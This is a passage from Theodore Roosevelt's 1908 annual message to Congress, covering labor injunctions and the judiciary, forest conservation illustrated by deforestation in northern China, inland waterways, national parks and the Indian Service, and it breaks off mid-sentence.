They\ninsisted on a provision that in a labor dispute no injunction should\nissue except to protect a property right, and specifically provided\nthat the right to carry on business should not be construed as a\nproperty right; and in a second provision their bill made legal in a\nlabor dispute any act or agreement by or between two or more persons\nthat would not have been unlawful if done by a single person. In other\nwords, this bill legalized blacklisting and boycotting in every form,\nlegalizing, for instance, those forms of the secondary boycott which\nthe anthracite coal strike commission so unreservedly condemned; while\nthe right to carry on a business was explicitly taken out from under\nthat protection which the law throws over property. The demand was made\nthat there should be trial by jury in contempt cases, thereby most\nseriously impairing the authority of the courts. All this represented a\ncourse of policy which, if carried out, would mean the enthronement of\nclass privilege in its crudest and most brutal form, and the\ndestruction of one of the most essential functions of the judiciary in\nall civilized lands.The violence of the crusade for this legislation, and its complete\nfailure, illustrate two truths which it is essential our people should\nlearn. In the first place, they ought to teach the workingman, the\nlaborer, the wageworker, that by demanding what is improper and\nimpossible he plays into the hands of his foes. Such a crude and\nvicious attack upon the courts, even if it were temporarily successful,\nwould inevitably in the end cause a violent reaction and would band the\ngreat mass of citizens together, forcing them to stand by all the\njudges, competent and incompetent alike, rather than to see the wheels\nof justice stopped. A movement of this kind can ultimately result in\nnothing but damage to those in whose behalf it is nominally undertaken.\nThis is a most healthy truth, which it is wise for all our people to\nlearn. Any movement based on that class hatred which at times assumes\nthe name of \"class consciousness\" is certain ultimately to fail, and if\nit temporarily succeeds, to do far-reaching damage. \"Class\nconsciousness,\" where it is merely another name for the odious vice of\nclass selfishness, is equally noxious whether in an employer's\nassociation or in a workingman's association. The movement in question\nwas one in which the appeal was made to all workingmen to vote\nprimarily, not as American citizens, but as individuals of a certain\nclass in society. Such an appeal in the first place revolts the more\nhigh-minded and far-sighted among the persons to whom it is addressed,\nand in the second place tends to arouse a strong antagonism among all\nother classes of citizens, whom it therefore tends to unite against the\nvery organization on whose behalf it is issued. The result is therefore\nunfortunate from every standpoint. This healthy truth, by the way, will\nbe learned by the socialists if they ever succeed in establishing in\nthis country an important national party based on such class\nconsciousness and selfish class interest.The wageworkers, the workingmen, the laboring men of the country, by\nthe way in which they repudiated the effort to get them to cast their\nvotes in response to an appeal to class hatred, have emphasized their\nsound patriotism and Americanism. The whole country has cause to fell\npride in this attitude of sturdy independence, in this uncompromising\ninsistence upon acting simply as good citizens, as good Americans,\nwithout regard to fancied--and improper--class interests. Such an\nattitude is an object-lesson in good citizenship to the entire nation.But the extreme reactionaries, the persons who blind themselves to the\nwrongs now and then committed by the courts on laboring men, should\nalso think seriously as to what such a movement as this portends. The\njudges who have shown themselves able and willing effectively to check\nthe dishonest activity of the very rich man who works iniquity by the\nmismanagement of corporations, who have shown themselves alert to do\njustice to the wageworker, and sympathetic with the needs of the mass\nof our people, so that the dweller in the tenement houses, the man who\npractices a dangerous trade, the man who is crushed by excessive hours\nof labor, feel that their needs are understood by the courts--these\njudges are the real bulwark of the courts; these judges, the judges of\nthe stamp of the president-elect, who have been fearless in opposing\nlabor when it has gone wrong, but fearless also in holding to strict\naccount corporations that work iniquity, and far-sighted in seeing that\nthe workingman gets his rights, are the men of all others to whom we\nowe it that the appeal for such violent and mistaken legislation has\nfallen on deaf ears, that the agitation for its passage proved to be\nwithout substantial basis. The courts are jeopardized primarily by the\naction of those Federal and State judges who show inability or\nunwillingness to put a stop to the wrongdoing of very rich men under\nmodern industrial conditions, and inability or unwillingness to give\nrelief to men of small means or wageworkers who are crushed down by\nthese modern industrial conditions; who, in other words, fail to\nunderstand and apply the needed remedies for the new wrongs produced by\nthe new and highly complex social and industrial civilization which has\ngrown up in the last half century.The rapid changes in our social and industrial life which have attended\nthis rapid growth have made it necessary that, in applying to concrete\ncases the great rule of right laid down in our Constitution, there\nshould be a full understanding and appreciation of the new conditions\nto which the rules are to be applied. What would have been an\ninfringement upon liberty half a century ago may be the necessary\nsafeguard of liberty to-day. What would have been an injury to property\nthen may be necessary to the enjoyment of property now. Every judicial\ndecision involves two terms--one, as interpretation of the law; the\nother, the understanding of the facts to which it is to be applied. The\ngreat mass of our judicial officers are, I believe, alive to those\nchanges of conditions which so materially affect the performance of\ntheir judicial duties. Our judicial system is sound and effective at\ncore, and it remains, and must ever be maintained, as the safeguard of\nthose principles of liberty and justice which stand at the foundation\nof American institutions; for, as Burke finely said, when liberty and\njustice are separated, neither is safe. There are, however, some\nmembers of the judicial body who have lagged behind in their\nunderstanding of these great and vital changes in the body politic,\nwhose minds have never been opened to the new applications of the old\nprinciples made necessary by the new conditions. Judges of this stamp\ndo lasting harm by their decisions, because they convince poor men in\nneed of protection that the courts of the land are profoundly ignorant\nof and out of sympathy with their needs, and profoundly indifferent or\nhostile to any proposed remedy. To such men it seems a cruel mockery to\nhave any court decide against them on the ground that it desires to\npreserve \"liberty\" in a purely technical form, by withholding liberty\nin any real and constructive sense. It is desirable that the\nlegislative body should possess, and wherever necessary exercise, the\npower to determine whether in a given case employers and employees are\nnot on an equal footing, so that the necessities of the latter compel\nthem to submit to such exactions as to hours and conditions of labor as\nunduly to tax their strength; and only mischief can result when such\ndetermination is upset on the ground that there must be no\n\"interference with the liberty to contract\"--often a merely academic\n\"liberty,\" the exercise of which is the negation of real liberty.There are certain decisions by various courts which have been\nexceedingly detrimental to the rights of wageworkers. This is true of\nall the decisions that decide that men and women are, by the\nConstitution, \"guaranteed their liberty\" to contract to enter a\ndangerous occupation, or to work an undesirable or improper number of\nhours, or to work in unhealthy surroundings; and therefore can not\nrecover damages when maimed in that occupation and can not be forbidden\nto work what the legislature decides is an excessive number of hours,\nor to carry on the work under conditions which the legislature decides\nto be unhealthy. The most dangerous occupations are often the poorest\npaid and those where the hours of work are longest; and in many cases\nthose who go into them are driven by necessity so great that they have\npractically no alternative. Decisions such as those alluded to above\nnullify the legislative effort to protect the wage-workers who most\nneed protection from those employers who take advantage of their\ngrinding need. They halt or hamper the movement for securing better and\nmore equitable conditions of labor. The talk about preserving to the\nmisery-hunted beings who make contracts for such service their\n\"liberty\" to make them, is either to speak in a spirit of heartless\nirony or else to show an utter lack of knowledge of the conditions of\nlife among the great masses of our fellow-countrymen, a lack which\nunfits a judge to do good service just as it would unfit any executive\nor legislative officer.There is also, I think, ground for the belief that substantial\ninjustice is often suffered by employees in consequence of the custom\nof courts issuing temporary injunctions without notice to them, and\npunishing them for contempt of court in instances where, as a matter of\nfact, they have no knowledge of any proceedings. Outside of organized\nlabor there is a widespread feeling that this system often works great\ninjustice to wageworkers when their efforts to better their working\ncondition result in industrial disputes. A temporary injunction\nprocured ex parte may as a matter of fact have all the effect of a\npermanent injunction in causing disaster to the wageworkers' side in\nsuch a dispute. Organized labor is chafing under the unjust restraint\nwhich comes from repeated resort to this plan of procedure. Its\ndiscontent has been unwisely expressed, and often improperly expressed,\nbut there is a sound basis for it, and the orderly and law-abiding\npeople of a community would be in a far stronger position for upholding\nthe courts if the undoubtedly existing abuses could be provided\nagainst.Such proposals as those mentioned above as advocated by the extreme\nlabor leaders contain the vital error of being class legislation of the\nmost offensive kind, and even if enacted into law I believe that the\nlaw would rightly be held unconstitutional. Moreover, the labor people\nare themselves now beginning to invoke the use of the power of\ninjunction. During the last ten years, and within my own knowledge, at\nleast fifty injunctions have been obtained by labor unions in New York\nCity alone, most of them being to protect the union label (a \"property\nright\"), but some being obtained for other reasons against employers.\nThe power of injunction is a great equitable remedy, which should on no\naccount be destroyed. But safeguards should be erected against its\nabuse. I believe that some such provisions as those I advocated a year\nago for checking the abuse of the issuance of temporary injunctions\nshould be adopted. In substance, provision should be made that no\ninjunction or temporary restraining order issue otherwise than on\nnotice, except where irreparable injury would otherwise result; and in\nsuch case a hearing on the merits of the order should be had within a\nshort fixed period, and, if not then continued after hearing, it should\nforthwith lapse. Decisions should be rendered immediately, and the\nchance of delay minimized in every way. Moreover, I believe that the\nprocedure should be sharply defined, and the judge required minutely to\nstate the particulars both of his action and of his reasons therefor,\nso that the Congress can, if it desires, examine and investigate the\nsame.The chief lawmakers in our country may be, and often are, the judges,\nbecause they are the final seat of authority. Every time they interpret\ncontract, property, vested rights, due process of law, liberty, they\nnecessarily enact into law parts of a system of social philosophy, and\nas such interpretation is fundamental, they give direction to all\nlaw-making. The decisions of the courts on economic and social\nquestions depend upon their economic and social philosophy; and for the\npeaceful progress of our people during the twentieth century we shall\nowe most to those judges who hold to a twentieth century economic and\nsocial philosophy and not to a long outgrown philosophy, which was\nitself the product of primitive economic conditions. Of course a\njudge's views on progressive social philosophy are entirely second in\nimportance to his possession of a high and fine character; which means\nthe possession of such elementary virtues as honesty, courage, and\nfair-mindedness. The judge who owes his election to pandering to\ndemagogic sentiments or class hatreds and prejudices, and the judge who\nowes either his election or his appointment to the money or the favor\nof a great corporation, are alike unworthy to sit on the bench, are\nalike traitors to the people; and no profundity of legal learning, or\ncorrectness of abstract conviction on questions of public policy, can\nserve as an offset to such shortcomings. But it is also true that\njudges, like executives and legislators, should hold sound views on the\nquestions of public policy which are of vital interest to the people.The legislators and executives are chosen to represent the people in\nenacting and administering the laws. The judges are not chosen to\nrepresent the people in this sense. Their function is to interpret the\nlaws. The legislators are responsible for the laws; the judges for the\nspirit in which they interpret and enforce the laws. We stand aloof\nfrom the reckless agitators who would make the judges mere pliant tools\nof popular prejudice and passion; and we stand aloof from those equally\nunwise partisans of reaction and privilege who deny the proposition\nthat, inasmuch as judges are chosen to serve the interests of the whole\npeople, they should strive to find out what those interests are, and,\nso far as they conscientiously can, should strive to give effect to\npopular conviction when deliberately and duly expressed by the\nlawmaking body. The courts are to be highly commended and staunchly\nupheld when they set their faces against wrongdoing or tyranny by a\nmajority; but they are to be blamed when they fail to recognize under a\ngovernment like ours the deliberate judgment of the majority as to a\nmatter of legitimate policy, when duly expressed by the legislature.\nSuch lawfully expressed and deliberate judgment should be given effect\nby the courts, save in the extreme and exceptional cases where there\nhas been a clear violation of a constitutional provision. Anything like\nfrivolity or wantonness in upsetting such clearly taken governmental\naction is a grave offense against the Republic. To protest against\ntyranny, to protect minorities from oppression, to nullify an act\ncommitted in a spasm of popular fury, is to render a service to the\nRepublic. But for the courts to arrogate to themselves functions which\nproperly belong to the legislative bodies is all wrong, and in the end\nworks mischief. The people should not be permitted to pardon evil and\nslipshod legislation on the theory that the court will set it right;\nthey should be taught that the right way to get rid of a bad law is to\nhave the legislature repeal it, and not to have the courts by ingenious\nhair-splitting nullify it. A law may be unwise and improper; but it\nshould not for these reasons be declared unconstitutional by a strained\ninterpretation, for the result of such action is to take away from the\npeople at large their sense of responsibility and ultimately to destroy\ntheir capacity for orderly self restraint and self government. Under\nsuch a popular government as ours, rounded on the theory that in the\nlong run the will of the people is supreme, the ultimate safety of the\nNation can only rest in training and guiding the people so that what\nthey will shall be right, and not in devising means to defeat their\nwill by the technicalities of strained construction.For many of the shortcomings of justice in our country our people as a\nwhole are themselves to blame, and the judges and juries merely bear\ntheir share together with the public as a whole. It is discreditable to\nus as a people that there should be difficulty in convicting murderers,\nor in bringing to justice men who as public servants have been guilty\nof corruption, or who have profited by the corruption of public\nservants. The result is equally unfortunate, whether due to\nhairsplitting technicalities in the interpretation of law by judges, to\nsentimentality and class consciousness on the part of juries, or to\nhysteria and sensationalism in the daily press. For much of this\nfailure of justice no responsibility whatever lies on rich men as such.\nWe who make up the mass of the people can not shift the responsibility\nfrom our own shoulders. But there is an important part of the failure\nwhich has specially to do with inability to hold to proper account men\nof wealth who behave badly.The chief breakdown is in dealing with the new relations that arise\nfrom the mutualism, the interdependence of our time. Every new social\nrelation begets a new type of wrongdoing--of sin, to use an\nold-fashioned word--and many years always elapse before society is able\nto turn this sin into crime which can be effectively punished at law.\nDuring the lifetime of the older men now alive the social relations\nhave changed far more rapidly than in the preceding two centuries. The\nimmense growth of corporations, of business done by associations, and\nthe extreme strain and pressure of modern life, have produced\nconditions which render the public confused as to who its really\ndangerous foes are; and among the public servants who have not only\nshared this confusion, but by some of their acts have increased it, are\ncertain judges. Marked inefficiency has been shown in dealing with\ncorporations and in re-settling the proper attitude to be taken by the\npublic not only towards corporations, but towards labor and towards the\nsocial questions arising out of the factory system and the enormous\ngrowth of our great cities.The huge wealth that has been accumulated by a few individuals of\nrecent years, in what has amounted to a social and industrial\nrevolution, has been as regards some of these individuals made possible\nonly by the improper use of the modern corporation. A certain type of\nmodern corporation, with its officers and agents, its many issues of\nsecurities, and its constant consolidation with allied undertakings,\nfinally becomes an instrument so complex as to contain a greater number\nof elements that, under various judicial decisions, lend themselves to\nfraud and oppression than any device yet evolved in the human brain.\nCorporations are necessary instruments of modern business. They have\nbeen permitted to become a menace largely because the governmental\nrepresentatives of the people have worked slowly in providing for\nadequate control over them.The chief offender in any given case may be an executive, a\nlegislature, or a judge. Every executive head who advises violent,\ninstead of gradual, action, or who advocates ill-considered and\nsweeping measures of reform (especially if they are tainted with\nvindictiveness and disregard for the rights of the minority) is\nparticularly blameworthy. The several legislatures are responsible for\nthe fact that our laws are often prepared with slovenly haste and lack\nof consideration. Moreover, they are often prepared, and still more\nfrequently amended during passage, at the suggestion of the very\nparties against whom they are afterwards enforced. Our great clusters\nof corporations, huge trusts and fabulously wealthy multi-millionaires,\nemploy the very best lawyers they can obtain to pick flaws in these\nstatutes after their passage; but they also employ a class of secret\nagents who seek, under the advice of experts, to render hostile\nlegislation innocuous by making it unconstitutional, often through the\ninsertion of what appear on their face to be drastic and sweeping\nprovisions against the interests of the parties inspiring them; while\nthe demagogues, the corrupt creatures who introduce blackmailing\nschemes to \"strike\" corporations, and all who demand extreme, and\nundesirably radical, measures, show themselves to be the worst enemies\nof the very public whose loud-mouthed champions they profess to be. A\nvery striking illustration of the consequences of carelessness in the\npreparation of a statute was the employers' liability law of 1906. In\nthe cases arising under that law, four out of six courts of first\ninstance held it unconstitutional; six out of nine justices of the\nSupreme Court held that its subject-matter was within the province of\ncongressional action; and four of the nine justices held it valid. It\nwas, however, adjudged unconstitutional by a bare majority of the\ncourt--five to four. It was surely a very slovenly piece of work to\nframe the legislation in such shape as to leave the question open at\nall.Real damage has been done by the manifold and conflicting\ninterpretations of the interstate commerce law. Control over the great\ncorporations doing interstate business can be effective only if it is\nvested with full power in an administrative department, a branch of the\nFederal executive, carrying out a Federal law; it can never be\neffective if a divided responsibility is left in both the States and\nthe Nation; it can never be effective if left in the hands of the\ncourts to be decided by lawsuits.The courts hold a place of peculiar and deserved sanctity under our\nform of government. Respect for the law is essential to the permanence\nof our institutions; and respect for the law is largely conditioned\nupon respect for the courts. It is an offense against the Republic to\nsay anything which can weaken this respect, save for the gravest reason\nand in the most carefully guarded manner. Our judges should be held in\npeculiar honor; and the duty of respectful and truthful comment and\ncriticism, which should be binding when we speak of anybody, should be\nespecially binding when we speak of them. On an average they stand\nabove any other servants of the community, and the greatest judges have\nreached the high level held by those few greatest patriots whom the\nwhole country delights to honor. But we must face the fact that there\nare wise and unwise judges, just as there are wise and unwise\nexecutives and legislators. When a president or a governor behaves\nimproperly or unwisely, the remedy is easy, for his term is short; the\nsame is true with the legislator, although not to the same degree, for\nhe is one of many who belong to some given legislative body, and it is\ntherefore less easy to fix his personal responsibility and hold him\naccountable therefor. With a judge, who, being human, is also likely to\nerr, but whose tenure is for life, there is no similar way of holding\nhim to responsibility. Under ordinary conditions the only forms of\npressure to which he is in any way amenable are public opinion and the\naction of his fellow judges. It is the last which is most immediately\neffective, and to which we should look for the reform of abuses. Any\nremedy applied from without is fraught with risk. It is far better,\nfrom every standpoint, that the remedy should come from within. In no\nother nation in the world do the courts wield such vast and\nfar-reaching power as in the United States. All that is necessary is\nthat the courts as a whole should exercise this power with the\nfarsighted wisdom already shown by those judges who scan the future\nwhile they act in the present. Let them exercise this great power not\nonly honestly and bravely, but with wise insight into the needs and\nfixed purposes of the people, so that they may do justice and work\nequity, so that they may protect all persons in their rights, and yet\nbreak down the barriers of privilege, which is the foe of right.FORESTS.If there is any one duty which more than another we owe it to our\nchildren and our children's children to perform at once, it is to save\nthe forests of this country, for they constitute the first and most\nimportant element in the conservation of the natural resources of the\ncountry. There are of course two kinds of natural resources, One is the\nkind which can only be used as part of a process of exhaustion; this is\ntrue of mines, natural oil and gas wells, and the like. The other, and\nof course ultimately by far the most important, includes the resources\nwhich can be improved in the process of wise use; the soil, the rivers,\nand the forests come under this head. Any really civilized nation will\nso use all of these three great national assets that the nation will\nhave their benefit in the future. Just as a farmer, after all his life\nmaking his living from his farm, will, if he is an expert farmer, leave\nit as an asset of increased value to his son, so we should leave our\nnational domain to our children, increased in value and not worn out.\nThere are small sections of our own country, in the East and the West,\nin the Adriondacks, the White Mountains, and the Appalachians, and in\nthe Rocky Mountains, where we can already see for ourselves the damage\nin the shape of permanent injury to the soil and the river systems\nwhich comes from reckless deforestation. It matters not whether this\ndeforestation is due to the actual reckless cutting of timber, to the\nfires that inevitably follow such reckless cutting of timber, or to\nreckless and uncontrolled grazing, especially by the great migratory\nbands of sheep, the unchecked wandering of which over the country means\ndestruction to forests and disaster to the small home makers, the\nsettlers of limited means.Shortsighted persons, or persons blinded to the future by desire to\nmake money in every way out of the present, sometimes speak as if no\ngreat damage would be done by the reckless destruction of our forests.\nIt is difficult to have patience with the arguments of these persons.\nThanks to our own recklessness in the use of our splendid forests, we\nhave already crossed the verge of a timber famine in this country, and\nno measures that we now take can, at least for many years, undo the\nmischief that has already been done. But we can prevent further\nmischief being done; and it would be in the highest degree\nreprehensible to let any consideration of temporary convenience or\ntemporary cost interfere with such action, especially as regards the\nNational Forests which the nation can now, at this very moment,\ncontrol.All serious students of the question are aware of the great damage that\nhas been done in the Mediterranean countries of Europe, Asia, and\nAfrica by deforestation. The similar damage that has been done in\nEastern Asia is less well known. A recent investigation into conditions\nin North China by Mr. Frank N. Meyer, of the Bureau of Plant Industry\nof the United States Department of Agriculture, has incidentally\nfurnished in very striking fashion proof of the ruin that comes from\nreckless deforestation of mountains, and of the further fact that the\ndamage once done may prove practically irreparable. So important are\nthese investigations that I herewith attach as an appendix to my\nmessage certain photographs showing present conditions in China. They\nshow in vivid fashion the appalling desolation, taking the shape of\nbarren mountains and gravel and sand-covered plains, which immediately\nfollows and depends upon the deforestation of the mountains. Not many\ncenturies ago the country of northern China was one of the most fertile\nand beautiful spots in the entire world, and was heavily forested. We\nknow this not only from the old Chinese records, but from the accounts\ngiven by the traveler, Marco Polo. He, for instance, mentions that in\nvisiting the provinces of Shansi and Shensi he observed many\nplantations of mulberry trees. Now there is hardly a single mulberry\ntree in either of these provinces, and the culture of the silkworm has\nmoved farther south, to regions of atmospheric moisture. As an\nillustration of the complete change in the rivers, we may take Polo's\nstatement that a certain river, the Hun Ho, was so large and deep that\nmerchants ascended it from the sea with heavily laden boats; today this\nriver is simply a broad sandy bed, with shallow, rapid currents\nwandering hither and thither across it, absolutely unnavigable. But we\ndo not have to depend upon written records. The dry wells, and the\nwells with water far below the former watermark, bear testimony to the\ngood days of the past and the evil days of the present. Wherever the\nnative vegetation has been allowed to remain, as, for instance, here\nand there around a sacred temple or imperial burying ground, there are\nstill huge trees and tangled jungle, fragments of the glorious ancient\nforests. The thick, matted forest growth formerly covered the mountains\nto their summits. All natural factors favored this dense forest growth,\nand as long as it was permitted to exist the plains at the foot of the\nmountains were among the most fertile on the globe, and the whole\ncountry was a garden. Not the slightest effort was made, however, to\nprevent the unchecked cutting of the trees, or to secure reforestation.\nDoubtless for many centuries the tree-cutting by the inhabitants of the\nmountains worked but slowly in bringing about the changes that have now\ncome to pass; doubtless for generations the inroads were scarcely\nnoticeable. But there came a time when the forest had shrunk\nsufficiently to make each year's cutting a serious matter, and from\nthat time on the destruction proceeded with appalling rapidity; for of\ncourse each year of destruction rendered the forest less able to\nrecuperate, less able to resist next year's inroad. Mr. Meyer describes\nthe ceaseless progress of the destruction even now, when there is so\nlittle left to destroy. Every morning men and boys go out armed with\nmattox or axe, scale the steepest mountain sides, and cut down and grub\nout, root and branch, the small trees and shrubs still to be found. The\nbig trees disappeared centuries ago, so that now one of these is never\nseen save in the neighborhood of temples, where they are artificially\nprotected; and even here it takes all the watch and care of the\ntree-loving priests to prevent their destruction. Each family, each\ncommunity, where there is no common care exercised in the interest of\nall of them to prevent deforestation, finds its profit in the immediate\nuse of the fuel which would otherwise be used by some other family or\nsome other community. In the total absence of regulation of the matter\nin the interest of the whole people, each small group is inevitably\npushed into a policy of destruction which can not afford to take\nthought for the morrow. This is just one of those matters which it is\nfatal to leave to unsupervised individual control. The forest can only\nbe protected by the State, by the Nation; and the liberty of action of\nindividuals must be conditioned upon what the State or Nation\ndetermines to be necessary for the common safety.The lesson of deforestation in China is a lesson which mankind should\nhave learned many times already from what has occurred in other places.\nDenudation leaves naked soil; then gullying cuts down to the bare rock;\nand meanwhile the rock-waste buries the bottomlands. When the soil is\ngone, men must go; and the process does not take long.This ruthless destruction of the forests in northern China has brought\nabout, or has aided in bringing about, desolation, just as the\ndestruction of the forests in central Asia aid in bringing ruin to the\nonce rich central Asian cities; just as the destruction of the forest\nin northern Africa helped towards the ruin of a region that was a\nfertile granary in Roman days. Shortsighted man, whether barbaric,\nsemi-civilized, or what he mistakenly regards as fully civilized, when\nhe has destroyed the forests, has rendered certain the ultimate\ndestruction of the land itself. In northern China the mountains are now\nsuch as are shown by the accompanying photographs, absolutely barren\npeaks. Not only have the forests been destroyed, but because of their\ndestruction the soil has been washed off the naked rock. The terrible\nconsequence is that it is impossible now to undo the damage that has\nbeen done. Many centuries would have to pass before soil would again\ncollect, or could be made to collect, in sufficient quantity once more\nto support the old-time forest growth. In consequence the Mongol Desert\nis practically extending eastward over northern China. The climate has\nchanged and is still changing. It has changed even within the last half\ncentury, as the work of tree destruction has been consummated. The\ngreat masses of arboreal vegetation on the mountains formerly absorbed\nthe heat of the sun and sent up currents of cool air which brought the\nmoisture-laden clouds lower and forced them to precipitate in rain a\npart of their burden of water. Now that there is no vegetation, the\nbarren mountains, scorched by the sun, send up currents of heated air\nwhich drive away instead of attracting the rain clouds, and cause their\nmoisture to be disseminated. In consequence, instead of the regular and\nplentiful rains which existed in these regions of China when the\nforests were still in evidence, the unfortunate inhabitants of the\ndeforested lands now see their crops wither for lack of rainfall, while\nthe seasons grow more and more irregular; and as the air becomes dryer\ncertain crops refuse longer to grow at all. That everything dries out\nfaster than formerly is shown by the fact that the level of the wells\nall over the land has sunk perceptibly, many of them having become\ntotally dry. In addition to the resulting agricultural distress, the\nwatercourses have changed. Formerly they were narrow and deep, with an\nabundance of clear water the year around; for the roots and humus of\nthe forests caught the rainwater and let it escape by slow, regular\nseepage. They have now become broad, shallow stream beds, in which\nmuddy water trickles in slender currents during the dry seasons, while\nwhen it rains there are freshets, and roaring muddy torrents come\ntearing down, bringing disaster and destruction everywhere. Moreover,\nthese floods and freshets, which diversify the general dryness, wash\naway from the mountain sides, and either wash away or cover in the\nvalleys, the rich fertile soil which it took tens of thousands of years\nfor Nature to form; and it is lost forever, and until the forests grow\nagain it can not be replaced. The sand and stones from the mountain\nsides are washed loose and come rolling down to cover the arable lands,\nand in consequence, throughout this part of China, many formerly rich\ndistricts are now sandy wastes, useless for human cultivation and even\nfor pasture. The cities have been of course seriously affected, for the\nstreams have gradually ceased to be navigable. There is testimony that\neven within the memory of men now living there has been a serious\ndiminution of the rainfall of northeastern China. The level of the\nSungari River in northern Manchuria has been sensibly lowered during\nthe last fifty years, at least partly as the result of the\nindiscriminate rutting of the forests forming its watershed. Almost all\nthe rivers of northern China have become uncontrollable, and very\ndangerous to the dwellers along their banks, as a direct result of the\ndestruction of the forests. The journey from Pekin to Jehol shows in\nmelancholy fashion how the soil has been washed away from whole\nvalleys, so that they have been converted into deserts.In northern China this disastrous process has gone on so long and has\nproceeded so far that no complete remedy could be applied. There are\ncertain mountains in China from which the soil is gone so utterly that\nonly the slow action of the ages could again restore it; although of\ncourse much could be done to prevent the still further eastward\nextension of the Mongolian Desert if the Chinese Government would act\nat once. The accompanying cuts from photographs show the inconceivable\ndesolation of the barren mountains in which certain of these rivers\nrise--mountains, be it remembered, which formerly supported dense\nforests of larches and firs, now unable to produce any wood, and\nbecause of their condition a source of danger to the whole country. The\nphotographs also show the same rivers after they have passed through\nthe mountains, the beds having become broad and sandy because of the\ndeforestation of the mountains. One of the photographs shows a caravan\npassing through a valley. Formerly, when the mountains were forested,\nit was thickly peopled by prosperous peasants. Now the floods have\ncarried destruction all over the land and the valley is a stony desert.\nAnother photograph shows a mountain road covered with the stones and\nrocks that are brought down in the rainy season from the mountains\nwhich have already been deforested by human hands. Another shows a\npebbly river-bed in southern Manchuria where what was once a great\nstream has dried up owing to the deforestation in the mountains. Only\nsome scrub wood is left, which will disappear within a half century.\nYet another shows the effect of one of the washouts, destroying an\narable mountain side, these washouts being due to the removal of all\nvegetation; yet in this photograph the foreground shows that\nreforestation is still a possibility in places.What has thus happened in northern China, what has happened in Central\nAsia, in Palestine, in North Africa, in parts of the Mediterranean\ncountries of Europe, will surely happen in our country if we do not\nexercise that wise forethought which should be one of the chief marks\nof any people calling itself civilized. Nothing should be permitted to\nstand in the way of the preservation of the forests, and it is criminal\nto permit individuals to purchase a little gain for themselves through\nthe destruction of forests when this destruction is fatal to the\nwell-being of the whole country in the future.INLAND WATERWAYS.Action should be begun forthwith, during the present session of the\nCongress, for the improvement of our inland waterways--action which\nwill result in giving us not only navigable but navigated rivers. We\nhave spent hundreds of millions of dollars upon these waterways, yet\nthe traffic on nearly all of them is steadily declining. This condition\nis the direct result of the absence of any comprehensive and far-seeing\nplan of waterway improvement, Obviously we can not continue thus to\nexpend the revenues of the Government without return. It is poor\nbusiness to spend money for inland navigation unless we get it.Inquiry into the condition of the Mississippi and its principal\ntributaries reveals very many instances of the utter waste caused by\nthe methods which have hitherto obtained for the so-called\n\"improvement\" of navigation. A striking instance is supplied by the\n\"improvement\" of the Ohio, which, begun in 1824, was continued under a\nsingle plan for half a century. In 1875 a new plan was adopted and\nfollowed for a quarter of a century. In 1902 still a different plan was\nadopted and has since been pursued at a rate which only promises a\nnavigable river in from twenty to one hundred years longer.Such shortsighted, vacillating, and futile methods are accompanied by\ndecreasing water-borne commerce and increasing traffic congestion on\nland, by increasing floods, and by the waste of public money. The\nremedy lies in abandoning the methods which have so signally failed and\nadopting new ones in keeping with the needs and demands of our people.In a report on a measure introduced at the first session of the present\nCongress, the Secretary of War said: \"The chief defect in the methods\nhitherto pursued lies in the absence of executive authority for\noriginating comprehensive plans covering the country or natural\ndivisions thereof.\" In this opinion I heartily concur. The present\nmethods not only fail to give us inland navigation, but they are\ninjurious to the army as well. What is virtually a permanent detail of\nthe corps of engineers to civilian duty necessarily impairs the\nefficiency of our military establishment. The military engineers have\nundoubtedly done efficient work in actual construction, but they are\nnecessarily unsuited by their training and traditions to take the broad\nview, and to gather and transmit to the Congress the commercial and\nindustrial information and forecasts, upon which waterway improvement\nmust always so largely rest. Furthermore, they have failed to grasp the\ngreat underlying fact that every stream is a unit from its source to\nits mouth, and that all its uses are interdependent. Prominent officers\nof the Engineer Corps have recently even gone so far as to assert in\nprint that waterways are not dependent upon the conservation of the\nforests about their headwaters. This position is opposed to all the\nrecent work of the scientific bureaus of the Government and to the\ngeneral experience of mankind. A physician who disbelieved in\nvaccination would not be the right man to handle an epidemic of\nsmallpox, nor should we leave a doctor skeptical about the transmission\nof yellow fever by the Stegomyia mosquito in charge of sanitation at\nHavana or Panama. So with the improvement of our rivers; it is no\nlonger wise or safe to leave this great work in the hands of men who\nfail to grasp the essential relations between navigation and general\ndevelopment and to assimilate and use the central facts about our\nstreams.Until the work of river improvement is undertaken in a modern way it\ncan not have results that will meet the needs of this modern nation.\nThese needs should be met without further dilly-dallying or delay. The\nplan which promises the best and quickest results is that of a\npermanent commission authorized to coordinate the work of all the\nGovernment departments relating to waterways, and to frame and\nsupervise the execution of a comprehensive plan. Under such a\ncommission the actual work of construction might be entrusted to the\nreclamation service; or to the military engineers acting with a\nsufficient number of civilians to continue the work in time of war; or\nit might be divided between the reclamation service and the corps of\nengineers. Funds should be provided from current revenues if it is\ndeemed wise--otherwise from the sale of bonds. The essential thing is\nthat the work should go forward under the best possible plan, and with\nthe least possible delay. We should have a new type of work and a new\norganization for planning and directing it. The time for playing with\nour waterways is past. The country demands results.NATIONAL PARKS.I urge that all our National parks adjacent to National forests be\nplaced completely under the control of the forest service of the\nAgricultural Department, instead of leaving them as they now are, under\nthe Interior Department and policed by the army. The Congress should\nprovide for superintendents with adequate corps of first-class civilian\nscouts, or rangers, and, further, place the road construction under the\nsuperintendent instead of leaving it with the War Department. Such a\nchange in park management would result in economy and avoid the\ndifficulties of administration which now arise from having the\nresponsibility of care and protection divided between different\ndepartments. The need for this course is peculiarly great in the\nYellowstone Park. This, like the Yosemite, is a great wonderland, and\nshould be kept as a national playground. In both, all wild things\nshould be protected and the scenery kept wholly unmarred.I am happy to say that I have been able to set aside in various parts\nof the country small, well-chosen tracts of ground to serve as\nsanctuaries and nurseries for wild creatures.DENATURED ALCOHOL.I had occasion in my message of May 4, 1906, to urge the passage of\nsome law putting alcohol, used in the arts, industries, and\nmanufactures, upon the free list--that is, to provide for the\nwithdrawal free of tax of alcohol which is to be denatured for those\npurposes. The law of June 7, 1906, and its amendment of March 2, 1907,\naccomplished what was desired in that respect, and the use of denatured\nalcohol, as intended, is making a fair degree of progress and is\nentitled to further encouragement and support from the Congress.PURE FOOD.The pure food legislation has already worked a benefit difficult to\noverestimate.INDIAN SERVICE.It has been my purpose from the beginning of my administration to take\nthe Indian Service completely out of the atmosphere of political\nactivity, and there has been steady progress toward that end. The last\nremaining stronghold of politics in that service was the agency system,\nwhich had seen its best days and was gradually falling to pieces from\nnatural or purely evolutionary causes, but, like all such survivals,\nwas decaying slowly in its later stages. It seems clear that its\nextinction had better be made final now, so that the ground can be\ncleared for larger constructive work on behalf of the Indians,\npreparatory to their induction into the full measure of 